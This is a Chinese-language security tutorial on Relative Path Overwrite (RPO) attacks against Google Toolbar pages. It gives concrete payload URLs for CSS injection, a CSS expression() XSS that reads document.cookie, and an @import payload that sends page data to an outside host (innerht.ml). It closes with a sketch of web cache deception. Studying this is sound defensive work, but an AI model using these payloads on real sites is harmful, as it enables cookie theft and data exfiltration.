本文中的例子利用css进行攻击,

相当于利用页面中相对路径的css进行欺骗,

让浏览器将xss代码写进页面中 。

 

 

一、初识RPO攻击

例子 :

http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

网页代码

<html>

<head></head>

<title>Google Toolbar API -Guide to Making Custom Buttons</title>

<link href="../../styles.css" rel="stylesheet"type="text/css"/>

[..]

</html>

 

jsp接受路径参数将一切分号作为参数比如path;/notpath 也会被接受作为目录

浏览器会将用户提交的URL编码解码后发给服务器

如果可以使用%2f代替 "/"的话

就可以把 URL写为 http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

返回正确

服务器接收到的是/tools/toolbar/buttons/apis/howto_guide.html

浏览器接受到的是 /tools/toolbar/buttons/apis%2fhowto_guide.html

页面中导入的样式表 为 /tools/toolbar/buttons/../../style.css

浏览器认为style.css的根目录是tools/toolbar/buttons,而不是tools/toolbar/button/apis

所以../../style.css跳到了更高一级的目录下

 

还有更多的利用空间

我们伪造一个目录为fake,就可以导入一个不存在的tools/fake/styles.css

http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html

服务器就收到的目录是 /tools/fake/../toolbar/buttons/apis/howto_guide.html

浏览器接收到的目录是/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html

导入的样式表为 /tools/fake/..%2ftoolbar/buttons/../../style.css

浏览器认为fake/和%2ftoolbar是两个不同的目录

这样就可以导入google域名下任意样式表

找到一个能使用参数导入背景的网页

如:http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}

网页源码为:<div id="frontend-directory-page"></div>

<font size="-1"><divclass="resultNotFound"><p>Search <b>-

{}*{background:red}</b> did not match any gadgets

 

 

如果http://www.google.com/tools/toolbar/buttons/gallery?foo=bar会自动重定向到

http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&foo=bar

就可以直接构造载荷了

因为样式表需要持续的注入所以将xss代码写入url中

构造PayLoad为http://www.google.com/tools/toolbar%2fbuttons%3fq%3d%250a%257B%257D%257Bbackground%253Ared%257D/..%2f/apis/howto_guide.html

服务器接收到的请求为 /tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/..//apis/howto_guide.html

浏览器接收到的请求为/tools/toolbar%2fbuttons%3fq%3d%250a%257B%257D%257Bbackground%253Ared%257D/..%2f/apis/howto_guide.html

导入的样式表为/tools/toolbar%2fbuttons%3fq%3d%250a%257B%257D%257Bbackground%253Ared%257D/..%2f/apis/../../style.css

/tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/style.css

/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}/style.css

 

 

 

样式表被成功导入了页面

更进一步可以将CSS XSS代码导入其中 如{xss:experssion(alert(document.cookie))}

PayLoad:http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bxss%253Aexpression(alert(document.cookie))%257D/..%2fapis/style.css

弹窗document.cookie。

谷歌设置了深度防御 设置请求: X-Content-Type-Options: nosniff 不会将Google Toolbar自定义添加按键中的属性插入样式表,而IE9之后才能识别的这个请求

在IE8之前是不识别这个头请求的

其他的浏览器 如firefox和chrome会在读取同域下的数据时忽略这个头请求

 

二、进一步进行利用

 

CSS对导入的一切样式表都采用松散的解析方式

可以导入http://www.google.com/*下的所有页面作为样式表进行解析

如果页面中包括隐私数据和注入点的话我们可以用CSS Magic去偷取

使用条件:1. 注入点应该在隐私数据之前

2. 注入点允许%0a,%0c,%0d等空白字符

3. 隐私数据不包含段间歇

PayLoad:http://www.google.com/search?nord=1&q={}%0a@import"//innerht.ml?

@import 是一种不常使用的,容易被前端开发忽视的方法。用来引入css文件,import先于除了@charset外的其他css规则。所以使用@import引入css便可以绕过谷歌的深度防御。

在我们的PayLoad中创建了一个@import"//innerht.ml的引入规则

 

获得了页面中泄露出来的信息

接着利用在攻击中获得

PayLoad:http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D%2540import%2527%252Fsearch%253Fnord%253D1%2526q%253D%257B%257D%25250a%2540import%252527%252F%252Finnerht.ml%253F%2522/..%2f/apis/howto_guide.html

 

 

三、外传:

 Web服务器欺骗请求:

 

当目标网站存在负载服务器时,

访问当前页面下,事实上并不存在的css等静态文件时,会在缓存服务器中缓存下存在 用户账号密码的静态文件页面,让攻击者可以直接访问用户账号。

 

 

可用于缓存的文件后缀列表:

aif,aiff,au,avi,bin,bmp,cab,carb,cct,cdf,class,css,doc,dcr,dtd,gcf,gff,gif,grv,hdml,hqx,ico,ini,jpeg,jpg, js,mov,mp3,nc,pct,ppc,pws,swa,swf,txt,vbs,w32,wav,wbmp,wml,wmlc,wmls,wmlsc,xsd,zip

 

作者:李玉涵

来自 :安云科技